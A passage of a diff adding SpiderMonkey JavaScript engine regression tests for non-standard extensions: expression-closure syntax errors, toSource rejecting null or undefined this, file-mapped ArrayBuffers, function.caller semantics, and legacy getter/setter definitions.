+ var mapped = eval([directCheckCode], originalEval);
+ assertEq(mapped[0], true);
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/extensions/expression-closure-syntax.js b/js/src/tests/non262/extensions/expression-closure-syntax.js
new file mode 100644
index 0000000000..84b3cc8fe9
--- /dev/null
+++ b/js/src/tests/non262/extensions/expression-closure-syntax.js
@@ -0,0 +1,62 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1416337;
+var summary =
+ "Expression closure syntax is only permitted for functions that constitute " +
+ "entire AssignmentExpressions, not PrimaryExpressions that are themselves " +
+ "components of larger binary expressions";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+{
+ function assertThrowsSyntaxError(code)
+ {
+ function testOne(replacement)
+ {
+ var x, rv;
+ try
+ {
+ rv = eval(code.replace("@@@", replacement));
+ }
+ catch (e)
+ {
+ assertEq(e instanceof SyntaxError, true,
+ "should have thrown a SyntaxError, instead got: " + e);
+ return;
+ }
+
+ assertEq(true, false, "should have thrown, instead returned " + rv);
+ }
+
+ testOne("function");
+ testOne("async function");
+ }
+
+ assertThrowsSyntaxError("x = ++@@@() 1");
+ assertThrowsSyntaxError("x = delete @@@() 1");
+ assertThrowsSyntaxError("x = new @@@() 1");
+ assertThrowsSyntaxError("x = void @@@() 1");
+ assertThrowsSyntaxError("x = +@@@() 1");
+ assertThrowsSyntaxError("x = 1 + @@@() 1");
+ assertThrowsSyntaxError("x = null != @@@() 1");
+ assertThrowsSyntaxError("x = null != @@@() 0 ? 1 : a => {}");
+ assertThrowsSyntaxError("x = @@@() 0 ? 1 : a => {} !== null");
+ assertThrowsSyntaxError("x = @@@() 0 ? 1 : a => {}.toString");
+ assertThrowsSyntaxError("x = @@@() 0 ? 1 : a => {}['toString']");
+ assertThrowsSyntaxError("x = @@@() 0 ? 1 : a => {}``");
+ assertThrowsSyntaxError("x = @@@() 0 ? 1 : a => {}()");
+ assertThrowsSyntaxError("x = @@@() 0 ? 1 : a => {}++");
+ assertThrowsSyntaxError("x = @@@() 0 ? 1 : a => {} || 0");
+ assertThrowsSyntaxError("x = 0 || @@@() 0 ? 1 : a => {}");
+ assertThrowsSyntaxError("x = @@@() 0 ? 1 : a => {} && true");
+ assertThrowsSyntaxError("x = true && @@@() 0 ? 1 : a => {}");
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/extensions/extension-methods-reject-null-undefined-this.js b/js/src/tests/non262/extensions/extension-methods-reject-null-undefined-this.js
new file mode 100644
index 0000000000..96689b0152
--- /dev/null
+++ b/js/src/tests/non262/extensions/extension-methods-reject-null-undefined-this.js
@@ -0,0 +1,105 @@
+// |reftest| skip-if(!Object.prototype.toSource)
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 619283;
+var summary =
+ "ECMAScript built-in methods that immediately throw when |this| is " +
+ "|undefined| or |null| (due to CheckObjectCoercible, ToObject, or ToString)";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// This test fills out for the non-standard methods which
+// non262/misc/builtin-methods-reject-null-undefined-this.js declines to test.
+
+var ClassToMethodMap =
+ {
+ Object: ["toSource"],
+ Function: ["toSource"],
+ Array: ["toSource"],
+ String: ["toSource"],
+ Boolean: ["toSource"],
+ Number: ["toSource"],
+ Date: ["toSource"],
+ RegExp: ["toSource"],
+ Error: ["toSource"],
+ };
+
+var badThisValues = [null, undefined];
+
+function testMethod(Class, className, method)
+{
+ var expr;
+
+ // Try out explicit this values
+ for (var i = 0, sz = badThisValues.length; i < sz; i++)
+ {
+ var badThis = badThisValues[i];
+
+ expr = className + ".prototype." + method + ".call(" + badThis + ")";
+ try
+ {
+ Class.prototype[method].call(badThis);
+ throw new Error(expr + " didn't throw a TypeError");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "wrong error for " + expr + ", instead threw " + e);
+ }
+
+ expr = className + ".prototype." + method + ".apply(" + badThis + ")";
+ try
+ {
+ Class.prototype[method].apply(badThis);
+ throw new Error(expr + " didn't throw a TypeError");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "wrong error for " + expr + ", instead threw " + e);
+ }
+ }
+
+ // ..and for good measure..
+
+ expr = "(0, " + className + ".prototype." + method + ")()"
+ try
+ {
+ // comma operator to call GetValue() on the method and de-Reference it
+ (0, Class.prototype[method])();
+ throw new Error(expr + " didn't throw a TypeError");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "wrong error for " + expr + ", instead threw " + e);
+ }
+}
+
+for (var className in ClassToMethodMap)
+{
+ var Class = this[className];
+
+ var methodNames = ClassToMethodMap[className];
+ for (var i = 0, sz = methodNames.length; i < sz; i++)
+ {
+ var method = methodNames[i];
+ testMethod(Class, className, method);
+ }
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/extensions/file-mapped-arraybuffers.js b/js/src/tests/non262/extensions/file-mapped-arraybuffers.js
new file mode 100644
index 0000000000..d69161554f
--- /dev/null
+++ b/js/src/tests/non262/extensions/file-mapped-arraybuffers.js
@@ -0,0 +1,48 @@
+// |reftest| skip-if(!xulRuntime.shell)
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+function viewToString(view)
+{
+ return String.fromCharCode.apply(null, view);
+}
+
+function test() {
+ var filename = "file-mapped-arraybuffers.txt";
+ var buffer = createMappedArrayBuffer(filename);
+ var view = new Uint8Array(buffer);
+ assertEq(viewToString(view), "01234567abcdefghijkl");
+
+ var buffer2 = createMappedArrayBuffer(filename, 8);
+ view = new Uint8Array(buffer2);
+ assertEq(viewToString(view), "abcdefghijkl");
+
+ var buffer3 = createMappedArrayBuffer(filename, 0, 8);
+ view = new Uint8Array(buffer3);
+ assertEq(viewToString(view), "01234567");
+
+ // Test detaching during subarray creation.
+ var nasty = {
+ valueOf: function () {
+ print("detaching...");
+ serialize(buffer3, [buffer3]);
+ print("detached");
+ return 3000;
+ }
+ };
+
+ var a = new Uint8Array(buffer3);
+ assertThrowsInstanceOf(() => {
+ var aa = a.subarray(0, nasty);
+ for (i = 0; i < 3000; i++)
+ aa[i] = 17;
+ }, TypeError);
+
+ // Check that invalid sizes and offsets are caught
+ assertThrowsInstanceOf(() => createMappedArrayBuffer("empty.txt", 8), RangeError);
+ assertThrowsInstanceOf(() => createMappedArrayBuffer("empty.txt", 0, 8), Error);
+}
+
+if (getBuildConfiguration()["mapped-array-buffer"])
+ test();
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/extensions/file-mapped-arraybuffers.txt b/js/src/tests/non262/extensions/file-mapped-arraybuffers.txt
new file mode 100644
index 0000000000..4289a17b8f
--- /dev/null
+++ b/js/src/tests/non262/extensions/file-mapped-arraybuffers.txt
@@ -0,0 +1 @@
+01234567abcdefghijkl \ No newline at end of file
diff --git a/js/src/tests/non262/extensions/for-loop-with-lexical-declaration-and-nested-function-statement.js b/js/src/tests/non262/extensions/for-loop-with-lexical-declaration-and-nested-function-statement.js
new file mode 100644
index 0000000000..9f6fd6467c
--- /dev/null
+++ b/js/src/tests/non262/extensions/for-loop-with-lexical-declaration-and-nested-function-statement.js
@@ -0,0 +1,130 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile =
+ "for-loop-with-lexical-declaration-and-nested-function-statement.js";
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1149797;
+var summary =
+ "Don't assert when freshening the scope chain for a for-loop whose head " +
+ "contains a lexical declaration, where the loop body might add more " +
+ "bindings at runtime";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+for (let x = 0; x < 9; ++x) {
+ function q1() {}
+}
+
+{
+ for (let x = 0; x < 9; ++x) {
+ function q2() {}
+ }
+}
+
+function f1()
+{
+ for (let x = 0; x < 9; ++x) {
+ function q3() {}
+ }
+}
+f1();
+
+function f2()
+{
+ {
+ for (let x = 0; x < 9; ++x) {
+ function q4() {}
+ }
+ }
+}
+f2();
+
+for (let x = 0; x < 9; ++x)
+{
+ // deliberately inside a block statement
+ function q5() {}
+}
+
+{
+ for (let x = 0; x < 9; ++x)
+ {
+ // deliberately inside a block statement
+ function q6() {}
+ }
+}
+
+function g1()
+{
+ for (let x = 0; x < 9; ++x)
+ {
+ // deliberately inside a block statement
+ function q7() {}
+ }
+}
+g1();
+
+function g2()
+{
+ {
+ for (let x = 0; x < 9; ++x)
+ {
+ // deliberately inside a block statement
+ function q8() {}
+ }
+ }
+}
+g2();
+
+for (let x = 0; x < 9; ++x) {
+ (function() {
+ eval("function q9() {}");
+ })();
+}
+
+{
+ for (let x = 0; x < 9; ++x)
+ {
+ // deliberately inside a block statement
+ (function() {
+ eval("function q10() {}");
+ })();
+ }
+}
+
+function h1()
+{
+ for (let x = 0; x < 9; ++x)
+ {
+ // deliberately inside a block statement
+ (function() {
+ eval("function q11() {}");
+ })();
+ }
+}
+h1();
+
+function h2()
+{
+ {
+ for (let x = 0; x < 9; ++x)
+ {
+ // deliberately inside a block statement
+ (function() { eval("function q12() {}"); })();
+ }
+ }
+}
+h2();
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/function-caller-skips-eval-frames.js b/js/src/tests/non262/extensions/function-caller-skips-eval-frames.js
new file mode 100644
index 0000000000..77eb99108a
--- /dev/null
+++ b/js/src/tests/non262/extensions/function-caller-skips-eval-frames.js
@@ -0,0 +1,34 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+function innermost() { return arguments.callee.caller; }
+function nest() { return eval("innermost();"); }
+function nest2() { return nest(); }
+
+assertEq(nest2(), nest);
+
+var innermost = function innermost() { return arguments.callee.caller.caller; };
+
+assertEq(nest2(), nest2);
+
+function nestTwice() { return eval("eval('innermost();');"); }
+var nest = nestTwice;
+
+assertEq(nest2(), nest2);
+
+function innermostEval() { return eval("arguments.callee.caller"); }
+var innermost = innermostEval;
+
+assertEq(nest2(), nestTwice);
+
+function innermostEvalTwice() { return eval('eval("arguments.callee.caller");'); }
+var innermost = innermostEvalTwice;
+
+assertEq(nest2(), nestTwice);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/function-caller-strict-cross-global.js b/js/src/tests/non262/extensions/function-caller-strict-cross-global.js
new file mode 100644
index 0000000000..d76bcccda5
--- /dev/null
+++ b/js/src/tests/non262/extensions/function-caller-strict-cross-global.js
@@ -0,0 +1,16 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs newGlobal()
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var g1 = newGlobal();
+g1.evaluate("function f() { return f.caller; }");
+
+var g2 = newGlobal();
+g2.f = g1.f;
+
+assertEq(g2.evaluate("function g() { 'use strict'; return f(); } g()"), null);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/function-definition-with.js b/js/src/tests/non262/extensions/function-definition-with.js
new file mode 100644
index 0000000000..2277ad45fc
--- /dev/null
+++ b/js/src/tests/non262/extensions/function-definition-with.js
@@ -0,0 +1,56 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs evaluate()
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 577325;
+var summary = 'Implement the ES5 algorithm for processing function statements';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var called, obj;
+
+function inFile1() { return "in file"; }
+called = false;
+obj = { set inFile1(v) { called = true; } };
+with (obj) {
+ function inFile1() { return "in file in with"; };
+}
+assertEq(inFile1(), "in file in with");
+assertEq("set" in Object.getOwnPropertyDescriptor(obj, "inFile1"), true);
+assertEq(called, false);
+
+evaluate("function notInFile1() { return 'not in file'; }");
+called = false;
+obj = { set notInFile1(v) { called = true; return "not in file 2"; } };
+with (obj) {
+ function notInFile1() { return "not in file in with"; };
+}
+assertEq(notInFile1(), "not in file in with");
+assertEq("set" in Object.getOwnPropertyDescriptor(obj, "notInFile1"), true);
+assertEq(called, false);
+
+function inFile2() { return "in file 1"; }
+called = false;
+obj =
+ Object.defineProperty({}, "inFile2",
+ { value: 42, configurable: false, enumerable: false });
+with (obj) {
+ function inFile2() { return "in file 2"; };
+}
+assertEq(inFile2(), "in file 2");
+assertEq(obj.inFile2, 42);
+
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/extensions/function-properties.js b/js/src/tests/non262/extensions/function-properties.js
new file mode 100644
index 0000000000..9585322ef0
--- /dev/null
+++ b/js/src/tests/non262/extensions/function-properties.js
@@ -0,0 +1,21 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+function foo()
+{
+ assertEq(foo.arguments.length, 0);
+ assertEq(foo.caller, null);
+}
+
+assertEq(foo.arguments, null);
+assertEq(foo.caller, null);
+foo();
+assertEq(foo.arguments, null);
+assertEq(foo.caller, null);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/getOwnPropertyNames-__proto__.js b/js/src/tests/non262/extensions/getOwnPropertyNames-__proto__.js
new file mode 100644
index 0000000000..91ee2d2033
--- /dev/null
+++ b/js/src/tests/non262/extensions/getOwnPropertyNames-__proto__.js
@@ -0,0 +1,26 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 837630;
+var summary ='__proto__ should show up with O.getOwnPropertyNames(O.prototype)';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var keys = Object.getOwnPropertyNames(Object.prototype);
+assertEq(keys.indexOf("__proto__") >= 0, true,
+ "should have gotten __proto__ as a property of Object.prototype " +
+ "(got these properties: " + keys + ")");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/getset-001.js b/js/src/tests/non262/extensions/getset-001.js
new file mode 100644
index 0000000000..928bfd0f03
--- /dev/null
+++ b/js/src/tests/non262/extensions/getset-001.js
@@ -0,0 +1,49 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*-
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+function TestObject ()
+{
+ /* A warm, dry place for properties and methods to live */
+}
+
+TestObject.prototype._y = "<initial y>";
+
+Object.defineProperty(TestObject.prototype, "y",
+{
+ enumerable: true, configurable: true,
+ get: function get_y ()
+ {
+ var rv;
+ if (typeof this._y == "string")
+ rv = "got " + this._y;
+ else
+ rv = this._y;
+ return rv;
+ },
+ set: function set_y (newVal) { this._y = newVal; }
+});
+
+
+test(new TestObject());
+
+function test(t)
+{
+ printStatus ("Basic Getter/ Setter test");
+ reportCompare ("<initial y>", t._y, "y prototype check");
+
+ reportCompare ("got <initial y>", t.y, "y getter, before set");
+
+ t.y = "new y";
+ reportCompare ("got new y", t.y, "y getter, after set");
+
+ t.y = 2;
+ reportCompare (2, t.y, "y getter, after numeric set");
+
+ var d = new Date();
+ t.y = d;
+ reportCompare (d, t.y, "y getter, after date set");
+
+}
diff --git a/js/src/tests/non262/extensions/getset-003.js b/js/src/tests/non262/extensions/getset-003.js
new file mode 100644
index 0000000000..55c9c99785
--- /dev/null
+++ b/js/src/tests/non262/extensions/getset-003.js
@@ -0,0 +1,186 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 14 April 2001
+ *
+ * SUMMARY: Testing obj.prop getter/setter
+ * Note: this is a non-ECMA extension to the language.
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = '(none)';
+var summary = 'Testing obj.prop getter/setter';
+var statprefix = 'Status: ';
+var status = '';
+var statusitems = [ ];
+var actual = '';
+var actualvalues = [ ];
+var expect= '';
+var expectedvalues = [ ];
+var cnDEFAULT = 'default name';
+var cnFRED = 'Fred';
+var obj = {};
+var obj2 = {};
+var s = '';
+
+
+// SECTION1: define getter/setter directly on an object (not its prototype)
+obj = new Object();
+obj.nameSETS = 0;
+obj.nameGETS = 0;
+Object.defineProperty(obj, "name",
+{
+ enumerable: true, configurable: true,
+ set: function(newValue) {this._name=newValue; this.nameSETS++;},
+ get: function() {this.nameGETS++; return this._name;}
+});
+
+ status = 'In SECTION1 of test after 0 sets, 0 gets';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [0,0];
+addThis();
+
+s = obj.name;
+status = 'In SECTION1 of test after 0 sets, 1 get';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [0,1];
+addThis();
+
+obj.name = cnFRED;
+status = 'In SECTION1 of test after 1 set, 1 get';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [1,1];
+addThis();
+
+obj.name = obj.name;
+status = 'In SECTION1 of test after 2 sets, 2 gets';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [2,2];
+addThis();
+
+
+// SECTION2: define getter/setter in Object.prototype
+Object.prototype.nameSETS = 0;
+Object.prototype.nameGETS = 0;
+Object.defineProperty(Object.prototype, "name",
+{
+ enumerable: true, configurable: true,
+ set: function(newValue) {this._name=newValue; this.nameSETS++;},
+ get: function() {this.nameGETS++; return this._name;}
+});
+
+ obj = new Object();
+status = 'In SECTION2 of test after 0 sets, 0 gets';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [0,0];
+addThis();
+
+s = obj.name;
+status = 'In SECTION2 of test after 0 sets, 1 get';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [0,1];
+addThis();
+
+obj.name = cnFRED;
+status = 'In SECTION2 of test after 1 set, 1 get';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [1,1];
+addThis();
+
+obj.name = obj.name;
+status = 'In SECTION2 of test after 2 sets, 2 gets';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [2,2];
+addThis();
+
+
+// SECTION 3: define getter/setter in prototype of user-defined constructor
+function TestObject()
+{
+}
+TestObject.prototype.nameSETS = 0;
+TestObject.prototype.nameGETS = 0;
+Object.defineProperty(TestObject.prototype, "name",
+{
+ enumerable: true, configurable: true,
+ set: function(newValue) {this._name=newValue; this.nameSETS++;},
+ get: function() {this.nameGETS++; return this._name;}
+});
+ TestObject.prototype.name = cnDEFAULT;
+
+obj = new TestObject();
+status = 'In SECTION3 of test after 1 set, 0 gets'; // (we set a default value in the prototype)
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [1,0];
+addThis();
+
+s = obj.name;
+status = 'In SECTION3 of test after 1 set, 1 get';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [1,1];
+addThis();
+
+obj.name = cnFRED;
+status = 'In SECTION3 of test after 2 sets, 1 get';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [2,1];
+addThis();
+
+obj.name = obj.name;
+status = 'In SECTION3 of test after 3 sets, 2 gets';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [3,2];
+addThis();
+
+obj2 = new TestObject();
+status = 'obj2 = new TestObject() after 1 set, 0 gets';
+actual = [obj2.nameSETS,obj2.nameGETS];
+expect = [1,0]; // we set a default value in the prototype -
+addThis();
+
+// Use both obj and obj2 -
+obj2.name = obj.name + obj2.name;
+status = 'obj2 = new TestObject() after 2 sets, 1 get';
+actual = [obj2.nameSETS,obj2.nameGETS];
+expect = [2,1];
+addThis();
+
+status = 'In SECTION3 of test after 3 sets, 3 gets';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [3,3]; // we left off at [3,2] above -
+addThis();
+
+
+//---------------------------------------------------------------------------------
+test();
+//---------------------------------------------------------------------------------
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual.toString();
+ expectedvalues[UBound] = expect.toString();
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], getStatus(i));
+ }
+}
+
+
+function getStatus(i)
+{
+ return statprefix + statusitems[i];
+}
diff --git a/js/src/tests/non262/extensions/getset-004.js b/js/src/tests/non262/extensions/getset-004.js
new file mode 100644
index 0000000000..e76b9263f0
--- /dev/null
+++ b/js/src/tests/non262/extensions/getset-004.js
@@ -0,0 +1,174 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 14 April 2001
+ *
+ * SUMMARY: Testing obj.__defineSetter__(), obj.__defineGetter__()
+ * Note: this is a non-ECMA language extension
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = '(none)';
+var summary = 'Testing obj.__defineSetter__(), obj.__defineGetter__()';
+var statprefix = 'Status: ';
+var status = '';
+var statusitems = [ ];
+var actual = '';
+var actualvalues = [ ];
+var expect= '';
+var expectedvalues = [ ];
+var cnDEFAULT = 'default name';
+var cnFRED = 'Fred';
+var obj = {};
+var obj2 = {};
+var s = '';
+
+
+// SECTION1: define getter/setter directly on an object (not its prototype)
+obj = new Object();
+obj.nameSETS = 0;
+obj.nameGETS = 0;
+obj.__defineSetter__('name', function(newValue) {this._name=newValue; this.nameSETS++;});
+obj.__defineGetter__('name', function() {this.nameGETS++; return this._name;});
+
+status = 'In SECTION1 of test after 0 sets, 0 gets';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [0,0];
+addThis();
+
+s = obj.name;
+status = 'In SECTION1 of test after 0 sets, 1 get';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [0,1];
+addThis();
+
+obj.name = cnFRED;
+status = 'In SECTION1 of test after 1 set, 1 get';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [1,1];
+addThis();
+
+obj.name = obj.name;
+status = 'In SECTION1 of test after 2 sets, 2 gets';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [2,2];
+addThis();
+
+
+// SECTION2: define getter/setter in Object.prototype
+Object.prototype.nameSETS = 0;
+Object.prototype.nameGETS = 0;
+Object.prototype.__defineSetter__('name', function(newValue) {this._name=newValue; this.nameSETS++;});
+Object.prototype.__defineGetter__('name', function() {this.nameGETS++; return this._name;});
+
+obj = new Object();
+status = 'In SECTION2 of test after 0 sets, 0 gets';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [0,0];
+addThis();
+
+s = obj.name;
+status = 'In SECTION2 of test after 0 sets, 1 get';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [0,1];
+addThis();
+
+obj.name = cnFRED;
+status = 'In SECTION2 of test after 1 set, 1 get';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [1,1];
+addThis();
+
+obj.name = obj.name;
+status = 'In SECTION2 of test after 2 sets, 2 gets';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [2,2];
+addThis();
+
+
+// SECTION 3: define getter/setter in prototype of user-defined constructor
+function TestObject()
+{
+}
+TestObject.prototype.nameSETS = 0;
+TestObject.prototype.nameGETS = 0;
+TestObject.prototype.__defineSetter__('name', function(newValue) {this._name=newValue; this.nameSETS++;});
+TestObject.prototype.__defineGetter__('name', function() {this.nameGETS++; return this._name;});
+TestObject.prototype.name = cnDEFAULT;
+
+obj = new TestObject();
+status = 'In SECTION3 of test after 1 set, 0 gets'; // (we set a default value in the prototype)
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [1,0];
+addThis();
+
+s = obj.name;
+status = 'In SECTION3 of test after 1 set, 1 get';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [1,1];
+addThis();
+
+obj.name = cnFRED;
+status = 'In SECTION3 of test after 2 sets, 1 get';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [2,1];
+addThis();
+
+obj.name = obj.name;
+status = 'In SECTION3 of test after 3 sets, 2 gets';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [3,2];
+addThis();
+
+obj2 = new TestObject();
+status = 'obj2 = new TestObject() after 1 set, 0 gets';
+actual = [obj2.nameSETS,obj2.nameGETS];
+expect = [1,0]; // we set a default value in the prototype -
+addThis();
+
+// Use both obj and obj2 -
+obj2.name = obj.name + obj2.name;
+status = 'obj2 = new TestObject() after 2 sets, 1 get';
+actual = [obj2.nameSETS,obj2.nameGETS];
+expect = [2,1];
+addThis();
+
+status = 'In SECTION3 of test after 3 sets, 3 gets';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [3,3]; // we left off at [3,2] above -
+addThis();
+
+
+//---------------------------------------------------------------------------------
+test();
+//---------------------------------------------------------------------------------
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual.toString();
+ expectedvalues[UBound] = expect.toString();
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], getStatus(i));
+ }
+}
+
+
+function getStatus(i)
+{
+ return statprefix + statusitems[i];
+}
diff --git a/js/src/tests/non262/extensions/getset-005.js b/js/src/tests/non262/extensions/getset-005.js
new file mode 100644
index 0000000000..a0694a892f
--- /dev/null
+++ b/js/src/tests/non262/extensions/getset-005.js
@@ -0,0 +1,183 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 14 April 2001
+ *
+ * SUMMARY: Testing obj.__defineSetter__(), obj.__defineGetter__()
+ * Note: this is a non-ECMA language extension
+ *
+ * This test is the same as getset-004.js, except that here we
+ * store the getter/setter functions in global variables.
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = '(none)';
+var summary = 'Testing obj.__defineSetter__(), obj.__defineGetter__()';
+var statprefix = 'Status: ';
+var status = '';
+var statusitems = [ ];
+var actual = '';
+var actualvalues = [ ];
+var expect= '';
+var expectedvalues = [ ];
+var cnName = 'name';
+var cnDEFAULT = 'default name';
+var cnFRED = 'Fred';
+var obj = {};
+var obj2 = {};
+var s = '';
+
+
+// The getter/setter functions we'll use in all three sections below -
+var cnNameSetter = function(newValue) {this._name=newValue; this.nameSETS++;};
+var cnNameGetter = function() {this.nameGETS++; return this._name;};
+
+
+// SECTION1: define getter/setter directly on an object (not its prototype)
+obj = new Object();
+obj.nameSETS = 0;
+obj.nameGETS = 0;
+obj.__defineSetter__(cnName, cnNameSetter);
+obj.__defineGetter__(cnName, cnNameGetter);
+
+status = 'In SECTION1 of test after 0 sets, 0 gets';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [0,0];
+addThis();
+
+s = obj.name;
+status = 'In SECTION1 of test after 0 sets, 1 get';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [0,1];
+addThis();
+
+obj.name = cnFRED;
+status = 'In SECTION1 of test after 1 set, 1 get';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [1,1];
+addThis();
+
+obj.name = obj.name;
+status = 'In SECTION1 of test after 2 sets, 2 gets';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [2,2];
+addThis();
+
+
+// SECTION2: define getter/setter in Object.prototype
+Object.prototype.nameSETS = 0;
+Object.prototype.nameGETS = 0;
+Object.prototype.__defineSetter__(cnName, cnNameSetter);
+Object.prototype.__defineGetter__(cnName, cnNameGetter);
+
+obj = new Object();
+status = 'In SECTION2 of test after 0 sets, 0 gets';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [0,0];
+addThis();
+
+s = obj.name;
+status = 'In SECTION2 of test after 0 sets, 1 get';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [0,1];
+addThis();
+
+obj.name = cnFRED;
+status = 'In SECTION2 of test after 1 set, 1 get';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [1,1];
+addThis();
+
+obj.name = obj.name;
+status = 'In SECTION2 of test after 2 sets, 2 gets';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [2,2];
+addThis();
+
+
+// SECTION 3: define getter/setter in prototype of user-defined constructor
+function TestObject()
+{
+}
+TestObject.prototype.nameSETS = 0;
+TestObject.prototype.nameGETS = 0;
+TestObject.prototype.__defineSetter__(cnName, cnNameSetter);
